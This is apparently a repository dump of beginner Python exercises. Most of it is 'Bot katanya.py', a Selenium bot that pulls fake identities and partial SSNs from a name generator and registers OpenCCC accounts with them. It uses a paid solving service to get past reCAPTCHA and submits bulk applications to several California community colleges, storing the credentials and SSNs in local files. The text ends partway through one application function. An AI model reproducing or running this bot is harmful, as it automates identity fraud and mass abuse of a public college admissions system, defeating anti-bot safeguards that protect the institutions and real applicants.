├── Python_String_Formatting.py ├── README.md ├── code ├── Bot katanya.py ├── Calculator.py ├── Circuference Circle.py ├── Employee.py ├── Guessing game (Ujjawal179) ├── Luas-Segitiga.py ├── Masker Detection - Haar Cascade.py ├── Palindrom.py ├── Python Program to Calculate Area and Perimeter of a Rectangle ├── Python User Login system(TechnoFrost27).py ├── Radius-Circle (IND).py ├── Youtube Video Downloader │ ├── Youtube_Vid_Downloader.py │ └── readme.md ├── avl-trees.py ├── bimaexz.py ├── efanwahyu.py ├── factorial.py ├── factors.py ├── fibonacci.py ├── hello.py ├── inherit.py ├── mahasiswa.py ├── prime.py ├── pyramid1.py ├── pyramid2.py ├── rand_x_number.py ├── random_dice.py ├── reddit.py ├── replacevowel.py ├── reverse.py ├── riodelord.py ├── run_avl_trees.py ├── russss.py ├── string.py ├── turtle_race.py ├── vowel.py ├── wikipedia-random.py └── wordcount.py └── snippets ├── day-to-hour.md ├── isprime.md └── reverse string.md /Python_String_Formatting.py: -------------------------------------------------------------------------------- 1 | myorder = "I have a {coinName}, it is a {model}." 2 | print(myorder.format(coinName = "Cryptocoin", model = "Bitcoin")) 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Python Projects 2 | 3 | Python Projects is a Python Projects library made by Open-Source Enthusiast. 4 | 5 | 6 | ## Contributing 7 | Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change. 8 | 9 | Please make sure to update tests as appropriate. 10 | 11 | ## License 12 | [MIT](https://choosealicense.com/licenses/mit/) 13 | 14 | hacktoberfest 2021 15 | hacktober 16 | -------------------------------------------------------------------------------- /code/Bot katanya.py: -------------------------------------------------------------------------------- 1 | # -*- coding: UTF-8 -*- 2 | import hashlib 3 | import platform 4 | import random 5 | import string 6 | import time 7 | import requests 8 | from selenium import webdriver 9 | from selenium.webdriver.common.by import By 10 | from selenium.webdriver.common.keys import Keys 11 | from selenium.webdriver.support import expected_conditions as EC 12 | from selenium.webdriver.support.select import Select 13 | from selenium.webdriver.support.ui import WebDriverWait 14 | 15 | 16 | class FakeNameGenerator(): 17 | def __init__(self): 18 | self.html = "" 19 | 20 | def GenerateIdenity(self): 21 | self.html = requests.get("https://www.fakenamegenerator.com/", headers={ 22 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0"}).text 23 | self.name = {"completename": self.html.split('
')[1].split('

')[1].split('

')[0], "first": self.html.split('
')[ 24 | 1].split('

')[1].split('

')[0].split(" ")[0], "last": self.html.split('
')[1].split('

')[1].split('

')[0].split(" ")[-1]} 25 | 26 | addy = self.html.split('
')[1].split(" ")[ 27 | 1].split("
")[0] 28 | addynum = addy.split(" ")[0] 29 | streetlist = self.html.split('
')[1].split(" ")[ 30 | 1].split("
")[0].split("
")[:1][0].split(" ")[1:] 31 | street = "" 32 | 33 | province = addy.split('
')[1].split(",")[0] 34 | ZIP = addy.split(", ")[1].split(' ')[0] 35 | for i in streetlist: 36 | street = street + " " + i 37 | self.addy = {"addynum": addynum, 38 | "street": street[1:], "province": province, "zip": ZIP} 39 | 40 | self.SSN = self.html.split( 41 | 'tal">
SSN
')[1].split('
')[0] 42 | self.phone = self.html.split( 43 | "
Phone
")[1].split("")[0].split("
")[1] 44 | self.phoneprefix = "+" + \ 45 | self.html.split( 46 | "
Country code
")[1].split("")[0].split("
")[1] 47 | birthday = "+" + \ 48 | self.html.split( 49 | "
Birthday
")[1].split("")[0].split("
")[1] 50 | Month = birthday.split(" ")[0].replace("+", "") 51 | Day = birthday.split(" ")[1].replace(",", "") 52 | Year = birthday.split(" ")[-1] 53 | self.birthday = {"Day": Day, "Month": Month, "Year": Year} 54 | self.age = self.html.split( 55 | "
Age
")[1].split(" years old")[0].split("
")[1] 56 | self.tropicalzodiac = self.html.split( 57 | "
Tropical zodiac
")[1].split("")[0].split("
")[1] 58 | self.email = self.html.split( 59 | '
Email Address
')[1].split('
')[1].split(' ')[0] 60 | self.username = self.html.split( 61 | "
Username
")[1].split("")[0].split("
")[1] 62 | self.password = self.html.split( 63 | "
Password
")[1].split("")[0].split("
")[1] 64 | self.website = self.html.split( 65 | "
Website
")[1].split("")[0].split("
")[1] 66 | self.useragent = self.html.split( 67 | "
Browser user agent
")[1].split("")[0].split("
")[1] 68 | self.cardtype = self.html.split( 69 | '

Finance

')[1].split('
')[1].split('
')[0] 70 | self.exp = self.html.split( 71 | "
Expires
")[1].split("")[0].split("
")[1] 72 | try: 73 | self.CVC = self.html.split( 74 | "
CVC2
")[1].split("")[0].split("
")[1] 75 | except: 76 | self.CVC = self.html.split( 77 | "
CVV2
")[1].split("")[0].split("
")[1] 78 | self.company = self.html.split( 79 | "
Company
")[1].split("")[0].split("
")[1] 80 | self.job = self.html.split( 81 | "
Occupation
")[1].split("")[0].split("
")[1] 82 | self.height = self.html.split( 83 | "
Height
")[1].split("")[0].split("
")[1] 84 | self.weight = self.html.split( 85 | "
Weight
")[1].split("")[0].split("
")[1] 86 | self.bloodtype = self.html.split( 87 | "
Blood type
")[1].split("")[0].split("
")[1] 88 | self.UPSTrackingnum = self.html.split( 89 | "
UPS tracking number
")[1].split("")[0].split("
")[1] 90 | self.MoneyGram = self.html.split( 91 | "
MoneyGram MTCN
")[1].split("")[0].split("
")[1] 92 | self.WesternUnion = self.html.split( 93 | "
Western Union MTCN
")[1].split("")[0].split("
")[1] 94 | self.favcolor = self.html.split( 95 | "
Favorite color
")[1].split("")[0].split("
")[1] 96 | self.car = self.html.split( 97 | "
Vehicle
")[1].split("")[0].split("
")[1] 98 | self.GUID = self.html.split( 99 | "
GUID
")[1].split("")[0].split("
")[1] 100 | 101 | 102 | generated = 0 103 | 104 | 105 | def createaccount(collage, use_captcha): 106 | try: 107 | Bot(collage, use_captcha) 108 | except Exception as E: 109 | open("log.txt", "a+").write(str(E)+"\n") 110 | print(E) 111 | 112 | 113 | def randomSSN(size=4, chars=string.digits): 114 | return ''.join(random.choice(chars) for i in range(size)) 115 | 116 | 117 | def Bot(collage, use_captcha): 118 | 119 | try: 120 | config = open("config.txt", "r+").readlines() 121 | mail = config[0] 122 | except: 123 | mail = "@tempr.email" 124 | pass 125 | try: 126 | captcha = config[1] 127 | captcha, _ = captcha.split("\n") 128 | except: 129 | pass 130 | try: 131 | full_mail = config[2] 132 | fullmail = 1 133 | except: 134 | fullmail = 0 135 | pass 136 | 137 | driver = webdriver.Firefox(executable_path=geckopath) 138 | 139 | driver.get( 140 | "https://www.openccc.net/uPortal/p/AccountCreation.ctf1/max/render.uP?pP_execution=e1s2") 141 | 142 | datafake = FakeNameGenerator() 143 | datafake.GenerateIdenity() 144 | 145 | first = datafake.name["first"] 146 | last = datafake.name["last"] 147 | number = datafake.phone 148 | ssn = str(str(datafake.SSN) + str(randomSSN())).replace("X", "") 149 | street = datafake.addy["addynum"] + " " + datafake.addy["street"] 150 | city = datafake.addy["province"] 151 | zipcode = datafake.addy["zip"] 152 | 153 | pw = datafake.password 154 | name = datafake.username + randomSSN() 155 | 156 | if fullmail == 0: 157 | email = name + mail 158 | else: 159 | email = full_mail 160 | 161 | ssnlol = ssn 162 | 163 | register_button = driver.find_element_by_id("accountFormSubmit") 164 | register_button.click() 165 | 166 | # Page 1 167 | 168 | first_name = WebDriverWait(driver, 60).until( 169 | EC.presence_of_element_located((By.NAME, "firstName")) 170 | ) 171 | first_name.send_keys(first) 172 | 173 | no_middle_name = WebDriverWait(driver, 60).until( 174 | EC.element_to_be_clickable((By.ID, "inputHasNoMiddleName")) 175 | ) 176 | no_middle_name.click() 177 | 178 | last_name = WebDriverWait(driver, 60).until( 179 | EC.presence_of_element_located((By.ID, "inputLastName")) 180 | ) 181 | last_name.send_keys(last) 182 | 183 | prev_name = WebDriverWait(driver, 60).until( 184 | EC.element_to_be_clickable((By.ID, "hasOtherNameNo")) 185 | ) 186 | prev_name.click() 187 | 188 | preffered_name = WebDriverWait(driver, 60).until( 189 | EC.element_to_be_clickable((By.ID, "hasPreferredNameNo")) 190 | ) 191 | preffered_name.click() 192 | 193 | month_one = WebDriverWait(driver, 60).until( 194 | EC.element_to_be_clickable( 195 | (By.CSS_SELECTOR, '#inputBirthDateMonth option[value="3"]')) 196 | ) 197 | month_one.click() 198 | 199 | day_one = WebDriverWait(driver, 60).until( 200 | EC.element_to_be_clickable( 201 | (By.CSS_SELECTOR, '#inputBirthDateDay option[value="7"]')) 202 | ) 203 | day_one.click() 204 | 205 | year_one = WebDriverWait(driver, 60).until( 206 | EC.presence_of_element_located((By.ID, 'inputBirthDateYear')) 207 | ) 208 | year_one.send_keys("1994") 209 | 210 | month_two = WebDriverWait(driver, 60).until( 211 | EC.element_to_be_clickable( 212 | (By.CSS_SELECTOR, '#inputBirthDateMonthConfirm option[value="3"]')) 213 | ) 214 | month_two.click() 215 | 216 | day_two = WebDriverWait(driver, 60).until( 217 | EC.element_to_be_clickable( 218 | (By.CSS_SELECTOR, '#inputBirthDateDayConfirm option[value="7"]')) 219 | ) 220 | day_two.click() 221 | 222 | year_two = WebDriverWait(driver, 60).until( 223 | EC.presence_of_element_located((By.ID, 'inputBirthDateYearConfirm')) 224 | ) 225 | year_two.send_keys("1994") 226 | 227 | select_ssn = WebDriverWait(driver, 60).until( 228 | EC.element_to_be_clickable((By.ID, '-have-ssn-yes')) 229 | ) 230 | select_ssn.click() 231 | 232 | input_ssn = WebDriverWait(driver, 60).until( 233 | EC.presence_of_element_located((By.ID, '-ssn-input1')) 234 | ) 235 | input_ssn.send_keys(ssnlol) 236 | 237 | input_ssn_confirm = WebDriverWait(driver, 60).until( 238 | EC.presence_of_element_located((By.ID, '-ssn-input2')) 239 | ) 240 | input_ssn_confirm.send_keys(ssnlol) 241 | 242 | page_one_submit = WebDriverWait(driver, 60).until( 243 | EC.element_to_be_clickable((By.ID, 'accountFormSubmit')) 244 | ) 245 | page_one_submit.click() 246 | 247 | print("\n\n[*] Page 1/3 Done!") 248 | 249 | # Page 2 250 | 251 | input_email = WebDriverWait(driver, 60).until( 252 | EC.presence_of_element_located((By.ID, 'inputEmail')) 253 | ) 254 | input_email.send_keys(email) 255 | 256 | input_emailconfirm = WebDriverWait(driver, 60).until( 257 | EC.presence_of_element_located((By.ID, 'inputEmailConfirm')) 258 | ) 259 | input_emailconfirm.send_keys(email) 260 | 261 | input_phone = WebDriverWait(driver, 60).until( 262 | EC.presence_of_element_located((By.ID, 'inputSmsPhone')) 263 | ) 264 | input_phone.send_keys(number) 265 | 266 | input_street = WebDriverWait(driver, 60).until( 267 | EC.presence_of_element_located((By.ID, 'inputStreetAddress1')) 268 | ) 269 | input_street.send_keys(street) 270 | 271 | input_city = WebDriverWait(driver, 60).until( 272 | EC.presence_of_element_located((By.ID, 'inputCity')) 273 | ) 274 | input_city.send_keys(city) 275 | 276 | input_state = WebDriverWait(driver, 60).until( 277 | EC.element_to_be_clickable( 278 | (By.CSS_SELECTOR, '#inputState option[value="CA"]')) 279 | ) 280 | input_state.click() 281 | 282 | input_zipcode = WebDriverWait(driver, 60).until( 283 | EC.presence_of_element_located((By.ID, 'inputPostalCode')) 284 | ) 285 | input_zipcode.send_keys(zipcode) 286 | 287 | page_two_submit = WebDriverWait(driver, 60).until( 288 | EC.element_to_be_clickable((By.ID, 'accountFormSubmit')) 289 | ) 290 | page_two_submit.click() 291 | 292 | try: 293 | driver.find_element_by_id("inputUserId").send_keys(name) 294 | except: 295 | driver.find_element_by_id("messageFooterLabel").click() 296 | driver.find_element_by_id("inputAddressValidationOverride").click() 297 | driver.find_element_by_id("accountFormSubmit").click() 298 | 299 | print("\n\n[*] Page 2/3 Done!") 300 | 301 | # Page 3 302 | 303 | input_userid = WebDriverWait(driver, 60).until( 304 | EC.presence_of_element_located((By.ID, 'inputUserId')) 305 | ) 306 | input_userid.send_keys(name) 307 | 308 | input_pass = WebDriverWait(driver, 60).until( 309 | EC.presence_of_element_located((By.ID, 'inputPasswd')) 310 | ) 311 | input_pass.send_keys(pw) 312 | 313 | input_passconf = WebDriverWait(driver, 60).until( 314 | EC.presence_of_element_located((By.ID, 'inputPasswdConfirm')) 315 | ) 316 | input_passconf.send_keys(pw) 317 | 318 | input_pin = WebDriverWait(driver, 60).until( 319 | EC.presence_of_element_located((By.ID, 'inputPin')) 320 | ) 321 | input_pin.send_keys("0420") 322 | 323 | input_pinconf = WebDriverWait(driver, 60).until( 324 | EC.presence_of_element_located((By.ID, 'inputPinConfirm')) 325 | ) 326 | input_pinconf.send_keys("0420") 327 | 328 | input_security1 = WebDriverWait(driver, 60).until( 329 | EC.element_to_be_clickable( 330 | (By.CSS_SELECTOR, '#inputSecurityQuestion1 option[value="10"]')) 331 | ) 332 | input_security1.click() 333 | input_answer1 = WebDriverWait(driver, 60).until( 334 | EC.presence_of_element_located((By.ID, 'inputSecurityAnswer1')) 335 | ) 336 | input_answer1.send_keys("12") 337 | 338 | input_security2 = WebDriverWait(driver, 60).until( 339 | EC.element_to_be_clickable( 340 | (By.CSS_SELECTOR, '#inputSecurityQuestion2 option[value="4"]')) 341 | ) 342 | input_security2.click() 343 | input_answer2 = WebDriverWait(driver, 60).until( 344 | EC.presence_of_element_located((By.ID, 'inputSecurityAnswer2')) 345 | ) 346 | input_answer2.send_keys("Josh") 347 | 348 | input_security3 = WebDriverWait(driver, 60).until( 349 | EC.element_to_be_clickable( 350 | (By.CSS_SELECTOR, '#inputSecurityQuestion3 option[value="2"]')) 351 | ) 352 | input_security3.click() 353 | input_answer3 = WebDriverWait(driver, 60).until( 354 | EC.presence_of_element_located((By.ID, 'inputSecurityAnswer3')) 355 | ) 356 | input_answer3.send_keys("Tesla 3") 357 | 358 | print("\n\n[*] Bypassing the Captcha!\n\n") 359 | 360 | if use_captcha == "1": 361 | 362 | url = "https://2captcha.com/in.php?key=" + captcha + \ 363 | "&method=userrecaptcha&json=0&googlekey=6LeaXhITAAAAACiHR6YSn1YKAUrrTZTLtjxuwYx6&pageurl=https://www.openccc.net/uPortal/p/AccountCreation.ctf1/max/render.uP?pP_execution=e1s4" 364 | 365 | r = requests.get(url) 366 | 367 | _, moin = r.text.split("|") 368 | time.sleep(20) 369 | 370 | url2 = "https://2captcha.com/res.php?key=" + captcha + "&action=get&id=" + moin 371 | r = requests.get(url2) 372 | while "CAPCHA_NOT_READY" in r.text: 373 | 374 | url2 = "https://2captcha.com/res.php?key=" + captcha + "&action=get&id=" + moin 375 | r = requests.get(url2) 376 | print("[*] Waiting for 2Captcha\n\n") 377 | time.sleep(3) 378 | try: 379 | _, key = r.text.split("|") 380 | except: 381 | print(r.text) 382 | 383 | command = 'document.getElementById("g-recaptcha-response").innerHTML="' + \ 384 | key + '";' 385 | driver.execute_script( 386 | "document.getElementsByName('captchaResponse')[0].setAttribute('type', 'shown');") 387 | driver.find_element_by_name("captchaResponse").send_keys(key) 388 | time.sleep(5) 389 | driver.execute_script(command) 390 | elif use_captcha == "2": 391 | print("Solve the captcha now!\n\n") 392 | try: 393 | element = driver.find_element_by_id("accountFormSubmit") 394 | driver.execute_script("arguments[0].scrollIntoView();", element) 395 | except: 396 | print("Failed to scroll") 397 | captcha_solved = "1" 398 | while captcha_solved == "1": 399 | captcha_solved = input("[Y]Solved?\n") 400 | else: 401 | print("Error") 402 | 403 | time.sleep(2) 404 | driver.find_element_by_id("accountFormSubmit").click() 405 | time.sleep(2) 406 | 407 | print("\n\n[*] Page 3/3 Done!") 408 | 409 | driver.quit() 410 | 411 | with open("openccc.txt", "a+") as file: 412 | file.write("Username: " + name + ", Password: " + pw + ", Email: " + email + ", First: " + first + ", Last: " + last + ", Number: " + 413 | number + ", SSN: " + ssn + ", Street Address: " + street + ", City: " + city + ", Zipcode: " + zipcode + ", College: " + collage) 414 | file.write("\n\n") 415 | 416 | print("\n\nYour openccc account has been created and is stored in openccc.txt and we will start filling college application now.\n\n") 417 | 418 | onlyCollege(name, pw, email, first, last, number, 419 | ssn, street, city, zipcode, collage) 420 | 421 | 422 | def onlyCollege(name, pw, email, first, last, number, ssn, street, city, zipcode, collage): 423 | if collage == "1": 424 | resp = Coastline(name, pw, email, first, last, 425 | number, ssn, street, city, zipcode) 426 | elif collage == "2": 427 | resp = Coastline(name, pw, email, first, last, 428 | number, ssn, street, city, zipcode) 429 | elif collage == "3": 430 | resp = Crafton(name, pw, email, first, last, 431 | number, ssn, street, city, zipcode) 432 | elif collage == "4": 433 | resp = San_Bernardino(name, pw, email, first, last, 434 | number, ssn, street, city, zipcode) 435 | elif collage == "5": 436 | resp = Santa_Monica(name, pw, email, first, last, 437 | number, ssn, street, city, zipcode) 438 | elif collage == "6": 439 | resp = Solano(name, pw, email, first, last, 440 | number, ssn, street, city, zipcode) 441 | elif collage == "7": 442 | resp = ccsf(name, pw, email, first, last, 443 | number, ssn, street, city, zipcode) 444 | elif collage == "8": 445 | resp = Canada(name, pw, email, first, last, 446 | number, ssn, street, city, zipcode) 447 | elif collage == "9": 448 | resp = barbara(name, pw, email, first, last, 449 | number, ssn, street, city, zipcode) 450 | elif collage == "10": 451 | resp = gavilan(name, pw, email, first, last, 452 | number, ssn, street, city, zipcode) 453 | elif collage == "11": 454 | resp = orange(name, pw, email, first, last, 455 | number, ssn, street, city, zipcode) 456 | else: 457 | print("Fuck") 458 | exit() 459 | 460 | global generated 461 | generated += 1 462 | with open("eduaccounts.txt", "a+") as file: 463 | file.write("Username: " + resp[0] + ", Password: " + resp[1] + ", Email:" + resp[2] + ", First Name: " + 464 | resp[3] + ", Last Name: " + resp[4] + ", SSN: " + resp[5] + ", Number: " + resp[6]) 465 | file.write("\n\n") 466 | print("\n\nSuccessfully created ", generated, 467 | " student account(s), Please check eduaccounts.txt file for details. Wait a few days for college to accept your application, check your temp mail once in while.\n\n") 468 | 469 | 470 | def orange(name, pw, email, first, last, number, ssn, street, city, zipcode): 471 | 472 | driver = webdriver.Firefox(executable_path=geckopath) 473 | driver.get( 474 | "https://www.opencccapply.net/uPortal/f/u63l1s1000/normal/render.uP") 475 | time.sleep(1) 476 | driver.find_element_by_id("loginTab").click() 477 | try: 478 | element = WebDriverWait(driver, 60).until( 479 | EC.presence_of_element_located((By.ID, "inputJUsername")) 480 | ) 481 | except: 482 | print("Unable to open signin page, restarting bot.") 483 | pass 484 | driver.find_element_by_id("inputJUsername").send_keys(name) 485 | time.sleep(1) 486 | driver.find_element_by_id("inputJPassword").send_keys(pw) 487 | driver.find_element_by_name("_eventId_proceed").click() 488 | try: 489 | element = WebDriverWait(driver, 60).until( 490 | EC.presence_of_element_located((By.ID, "beginApplicationButton")) 491 | ) 492 | except: 493 | print("Unable to login, restarting bot.") 494 | pass 495 | try: 496 | driver.find_elements_by_css_selector(".btn-primary")[3].click() 497 | time.sleep(1) 498 | 499 | driver.find_element_by_id("delete-confirmation-ok-button").click() 500 | time.sleep(4.5) 501 | except: 502 | time.sleep(3) 503 | pass 504 | # collage auswahl 505 | collage = Select(driver.find_element_by_id('inputCollegeId')) 506 | collage.select_by_value('833') 507 | driver.find_element_by_id("beginApplicationButton").click() 508 | # enrollment 509 | try: 510 | element = WebDriverWait(driver, 60).until( 511 | EC.presence_of_element_located((By.ID, "inputEduGoal")) 512 | ) 513 | except: 514 | print("Unable to open enrollment page, restarting bot.") 515 | pass 516 | driver.find_elements_by_tag_name("option")[1].click() 517 | time.sleep(0.5) 518 | collage = Select(driver.find_element_by_id('inputEduGoal')) 519 | collage.select_by_value('F') 520 | time.sleep(1) 521 | driver.find_elements_by_tag_name("option")[25].click() 522 | driver.find_element_by_name("_eventId_continue").click() 523 | # account info 524 | try: 525 | element = WebDriverWait(driver, 60).until( 526 | EC.presence_of_element_located((By.ID, "inputStreetAddress1")) 527 | ) 528 | except: 529 | print("Unable to open account info page, restarting bot.") 530 | pass 531 | driver.find_element_by_id("inputStreetAddress1").send_keys(street) 532 | driver.find_element_by_id("inputCity").send_keys(city) 533 | state = Select(driver.find_element_by_id('inputState')) 534 | state.select_by_value('CA') 535 | driver.find_element_by_id("inputPostalCode").send_keys(zipcode) 536 | driver.find_element_by_name("_eventId_continue").click() 537 | try: 538 | driver.find_element_by_id("inputHsAttendance3").click() 539 | 540 | except: 541 | driver.find_element_by_id("messageFooterLabel").click() 542 | driver.find_element_by_id("inputAddressValidationOverride").click() 543 | driver.find_element_by_name("_eventId_continue").click() 544 | 545 | 546 | # education 547 | try: 548 | element = WebDriverWait(driver, 60).until( 549 | EC.presence_of_element_located((By.ID, "inputHsAttendance3")) 550 | ) 551 | except: 552 | print("Unable to open education page, restarting bot.") 553 | pass 554 | driver.find_elements_by_tag_name("option")[1].click() 555 | time.sleep(1) 556 | driver.find_elements_by_tag_name("option")[9].click() 557 | driver.find_element_by_id("inputHsAttendance3").click() 558 | driver.find_element_by_name("_eventId_continue").click() 559 | # military 560 | try: 561 | element = WebDriverWait(driver, 60).until( 562 | EC.presence_of_element_located((By.ID, "inputMilitaryStatus")) 563 | ) 564 | except: 565 | print("Unable to open military page, restarting bot.") 566 | pass 567 | driver.find_elements_by_tag_name("option")[1].click() 568 | time.sleep(1) 569 | s2 = Select(driver.find_element_by_id('inputMilitaryStatus')) 570 | s2.select_by_value('1') 571 | time.sleep(1) 572 | driver.find_element_by_name("_eventId_continue").click() 573 | driver.find_element_by_id("inputCaRes2YearsYes").click() 574 | driver.find_element_by_id("inputIsEverInFosterCareNo").click() 575 | time.sleep(1) 576 | driver.find_element_by_name("_eventId_continue").click() 577 | # needs 578 | try: 579 | element = WebDriverWait(driver, 60).until( 580 | EC.presence_of_element_located((By.ID, "inputEnglishYes")) 581 | ) 582 | except: 583 | print("Unable to open needs page, restarting bot.") 584 | pass 585 | driver.find_element_by_id("inputEnglishYes").click() 586 | driver.find_element_by_id("inputFinAidInfoNo").click() 587 | time.sleep(1) 588 | driver.find_element_by_id("inputAssistanceNo").click() 589 | driver.find_element_by_id("inputAthleticInterest3").click() 590 | time.sleep(1) 591 | driver.find_element_by_name("_eventId_continue").click() 592 | # demographic 593 | try: 594 | element = WebDriverWait(driver, 60).until( 595 | EC.presence_of_element_located((By.ID, "inputGender")) 596 | ) 597 | except: 598 | print("Unable to open demographic page, restarting bot.") 599 | pass 600 | gender = Select(driver.find_element_by_id('inputGender')) 601 | gender.select_by_value('Male') 602 | time.sleep(1) 603 | 604 | trans = Select(driver.find_element_by_id('inputTransgender')) 605 | trans.select_by_value('No') 606 | time.sleep(1) 607 | sexual = Select(driver.find_element_by_id('inputOrientation')) 608 | sexual.select_by_value('StraightHetrosexual') 609 | 610 | guard = Select(driver.find_element_by_id('inputParentGuardianEdu1')) 611 | guard.select_by_value('3') 612 | time.sleep(1) 613 | guard2 = Select(driver.find_element_by_id('inputParentGuardianEdu2')) 614 | guard2.select_by_value('Y') 615 | 616 | driver.find_element_by_id("inputHispanicNo").click() 617 | 618 | driver.find_element_by_id("inputRaceEthnicity800").click() 619 | time.sleep(1) 620 | driver.find_element_by_id("inputRaceEthnicity806").click() 621 | time.sleep(1) 622 | driver.find_element_by_name("_eventId_continue").click() 623 | # supplemental 624 | try: 625 | element = WebDriverWait(driver, 60).until( 626 | EC.presence_of_element_located((By.ID, "_supp_TEXT_1")) 627 | ) 628 | except: 629 | print("Unable to open supplemental page, restarting bot.") 630 | pass 631 | driver.find_element_by_id("_supp_TEXT_1").send_keys(city) 632 | state = Select(driver.find_element_by_id('_supp_STATE_1')) 633 | state.select_by_value('CA') 634 | driver.find_element_by_id("YESNO_2_no").click() 635 | driver.find_element_by_id("YESNO_3_no").click() 636 | time.sleep(0.5) 637 | state = Select(driver.find_element_by_id('_supp_MENU_1')) 638 | state.select_by_value('10') 639 | driver.find_element_by_id("_supp_CHECK_29").click() 640 | driver.find_element_by_name("_eventId_continue").click() 641 | 642 | 643 | # submisson 644 | try: 645 | element = WebDriverWait(driver, 60).until( 646 | EC.presence_of_element_located((By.ID, "inputConsentYes")) 647 | ) 648 | except: 649 | print("Unable to open submission page, restarting bot.") 650 | pass 651 | time.sleep(0.5) 652 | driver.find_element_by_id("inputConsentYes").click() 653 | time.sleep(1) 654 | 655 | driver.find_element_by_id("inputESignature").click() 656 | driver.find_element_by_id("inputFinancialAidAck").click() 657 | print("[*] Sleeping 25 seconds!") 658 | time.sleep(25) 659 | driver.find_element_by_id("submit-application-button").click() 660 | time.sleep(5) 661 | driver.find_element_by_name("_eventId_finish").click() 662 | time.sleep(1) 663 | 664 | driver.find_element_by_id("inputEnglishSatisfied").click() 665 | driver.find_element_by_id("RecommendYes").click() 666 | driver.find_element_by_name("_eventId_submit").click() 667 | 668 | time.sleep(1) 669 | driver.quit() 670 | time.sleep(1) 671 | 672 | return (name, pw, email, first, last, ssn, number) 673 | 674 | 675 | def gavilan(name, pw, email, first, last, number, ssn, street, city, zipcode): 676 | 677 | driver = webdriver.Firefox(executable_path=geckopath) 678 | driver.get( 679 | "https://www.opencccapply.net/uPortal/f/u63l1s1000/normal/render.uP") 680 | time.sleep(1) 681 | driver.find_element_by_id("loginTab").click() 682 | try: 683 | element = WebDriverWait(driver, 60).until( 684 | EC.presence_of_element_located((By.ID, "inputJUsername")) 685 | ) 686 | except: 687 | print("Unable to open signin page, restarting bot.") 688 | pass 689 | driver.find_element_by_id("inputJUsername").send_keys(name) 690 | time.sleep(1) 691 | driver.find_element_by_id("inputJPassword").send_keys(pw) 692 | driver.find_element_by_name("_eventId_proceed").click() 693 | try: 694 | element = WebDriverWait(driver, 60).until( 695 | EC.presence_of_element_located((By.ID, "beginApplicationButton")) 696 | ) 697 | except: 698 | print("Unable to login, restarting bot.") 699 | pass 700 | try: 701 | driver.find_elements_by_css_selector(".btn-primary")[3].click() 702 | time.sleep(1) 703 | 704 | driver.find_element_by_id("delete-confirmation-ok-button").click() 705 | time.sleep(4.5) 706 | except: 707 | time.sleep(3) 708 | pass 709 | # collage auswahl 710 | collage = Select(driver.find_element_by_id('inputCollegeId')) 711 | collage.select_by_value('441') 712 | driver.find_element_by_id("beginApplicationButton").click() 713 | # enrollment 714 | try: 715 | element = WebDriverWait(driver, 60).until( 716 | EC.presence_of_element_located((By.ID, "inputEduGoal")) 717 | ) 718 | except: 719 | print("Unable to open enrollment page, restarting bot.") 720 | pass 721 | driver.find_elements_by_tag_name("option")[1].click() 722 | time.sleep(0.5) 723 | collage = Select(driver.find_element_by_id('inputEduGoal')) 724 | collage.select_by_value('F') 725 | time.sleep(1) 726 | driver.find_elements_by_tag_name("option")[25].click() 727 | driver.find_element_by_name("_eventId_continue").click() 728 | # account info 729 | try: 730 | element = WebDriverWait(driver, 60).until( 731 | EC.presence_of_element_located((By.ID, "inputStreetAddress1")) 732 | ) 733 | except: 734 | print("Unable to open account info page, restarting bot.") 735 | pass 736 | driver.find_element_by_id("inputStreetAddress1").send_keys(street) 737 | driver.find_element_by_id("inputCity").send_keys(city) 738 | state = Select(driver.find_element_by_id('inputState')) 739 | state.select_by_value('CA') 740 | driver.find_element_by_id("inputPostalCode").send_keys(zipcode) 741 | driver.find_element_by_name("_eventId_continue").click() 742 | try: 743 | driver.find_element_by_id("inputHsAttendance3").click() 744 | 745 | except: 746 | driver.find_element_by_id("messageFooterLabel").click() 747 | driver.find_element_by_id("inputAddressValidationOverride").click() 748 | driver.find_element_by_name("_eventId_continue").click() 749 | 750 | 751 | # education 752 | try: 753 | element = WebDriverWait(driver, 60).until( 754 | EC.presence_of_element_located((By.ID, "inputHsAttendance3")) 755 | ) 756 | except: 757 | print("Unable to open education page, restarting bot.") 758 | pass 759 | driver.find_elements_by_tag_name("option")[1].click() 760 | time.sleep(1) 761 | driver.find_elements_by_tag_name("option")[9].click() 762 | driver.find_element_by_id("inputHsAttendance3").click() 763 | driver.find_element_by_name("_eventId_continue").click() 764 | # military 765 | try: 766 | element = WebDriverWait(driver, 60).until( 767 | EC.presence_of_element_located((By.ID, "inputMilitaryStatus")) 768 | ) 769 | except: 770 | print("Unable to open military page, restarting bot.") 771 | pass 772 | driver.find_elements_by_tag_name("option")[1].click() 773 | time.sleep(1) 774 | s2 = Select(driver.find_element_by_id('inputMilitaryStatus')) 775 | s2.select_by_value('1') 776 | time.sleep(1) 777 | driver.find_element_by_name("_eventId_continue").click() 778 | driver.find_element_by_id("inputCaRes2YearsYes").click() 779 | driver.find_element_by_id("inputIsEverInFosterCareNo").click() 780 | time.sleep(1) 781 | driver.find_element_by_name("_eventId_continue").click() 782 | # needs 783 | try: 784 | element = WebDriverWait(driver, 60).until( 785 | EC.presence_of_element_located((By.ID, "inputEnglishYes")) 786 | ) 787 | except: 788 | print("Unable to open needs page, restarting bot.") 789 | pass 790 | driver.find_element_by_id("inputEnglishYes").click() 791 | driver.find_element_by_id("inputFinAidInfoNo").click() 792 | time.sleep(1) 793 | driver.find_element_by_id("inputAssistanceNo").click() 794 | driver.find_element_by_id("inputAthleticInterest3").click() 795 | time.sleep(1) 796 | driver.find_element_by_name("_eventId_continue").click() 797 | # demographic 798 | try: 799 | element = WebDriverWait(driver, 60).until( 800 | EC.presence_of_element_located((By.ID, "inputGender")) 801 | ) 802 | except: 803 | print("Unable to open demographic page, restarting bot.") 804 | pass 805 | gender = Select(driver.find_element_by_id('inputGender')) 806 | gender.select_by_value('Male') 807 | time.sleep(1) 808 | 809 | trans = Select(driver.find_element_by_id('inputTransgender')) 810 | trans.select_by_value('No') 811 | time.sleep(1) 812 | sexual = Select(driver.find_element_by_id('inputOrientation')) 813 | sexual.select_by_value('StraightHetrosexual') 814 | 815 | guard = Select(driver.find_element_by_id('inputParentGuardianEdu1')) 816 | guard.select_by_value('3') 817 | time.sleep(1) 818 | guard2 = Select(driver.find_element_by_id('inputParentGuardianEdu2')) 819 | guard2.select_by_value('Y') 820 | 821 | driver.find_element_by_id("inputHispanicNo").click() 822 | 823 | 